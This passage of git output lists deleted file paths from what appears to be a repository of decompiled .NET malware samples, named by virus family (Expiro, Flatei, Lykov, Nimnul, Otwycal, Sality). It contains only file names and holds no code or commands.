MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LOCKING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_QUERY_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_REFRESHER_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SECURITY_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SHUTDOWN_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_STATUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TEXT_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TIMEOUT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_UNSECAPP_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WMI_OBJ_TEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tm.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/type_info.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-identity-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy-1/2.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust-1/3.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xenc-schema.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xml.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xmldsig-core-schema.xsd delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.csproj delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.sln delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/msil_syra_by_alcopaul.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.csproj delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.sln delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/v3589_.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.csproj delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.sln delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.csproj delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.sln delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/msil_syra_by_alcopaul.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.csproj delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.sln delete mode 100644 MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/msil_syra_c.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Cube.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CubesCollection.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.csproj delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.sln delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.resx delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modFindWords.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modGlobal.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.cs delete mode 100644 MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.resx delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyRef.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitchException.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitches.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/InitializationException.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/MSBuildApp.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/FXAssembly.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/MSBuild/Strings.resx delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyLoadInfo.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyResources.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ErrorUtilities.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/InternalErrorException.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/LoadedType.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/QuotingUtilities.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ResourceUtilities.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/TypeLoader.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/ThisAssembly.cs delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.csproj delete mode 100644 MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.sln delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.cs delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.resx delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.cs delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.resx delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Program.cs delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.cs delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.resx delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Settings.cs delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.csproj delete mode 100644 MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.sln delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Abbrevs.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/CommandLine.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Option.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/REGKIND.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Resource.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Util/Version.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.csproj delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.sln delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/BuildVersionInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Compiler.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/CompilerOptions.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/EngineSite.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JSC.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JScriptCompiler.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.csproj delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.sln delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Memory.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/InternalXmlHelper.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyApplication.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyComputer.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyProject.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettings.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettingsProperty.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/Resources/Resources.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Resources.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.csproj delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.sln delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplication.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplications.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwIcmpSettings.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwMgr.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPort.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPorts.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwPolicy.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwProfile.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwRemoteAdminSettings.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwService.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwServices.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_PROTOCOL_.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_VERSION_.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_PROFILE_TYPE_.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SCOPE_.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SERVICE_TYPE_.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/FirewallConfig/WinXPFirewall.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MyApplicationContext.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.csproj delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.sln delete mode 100644 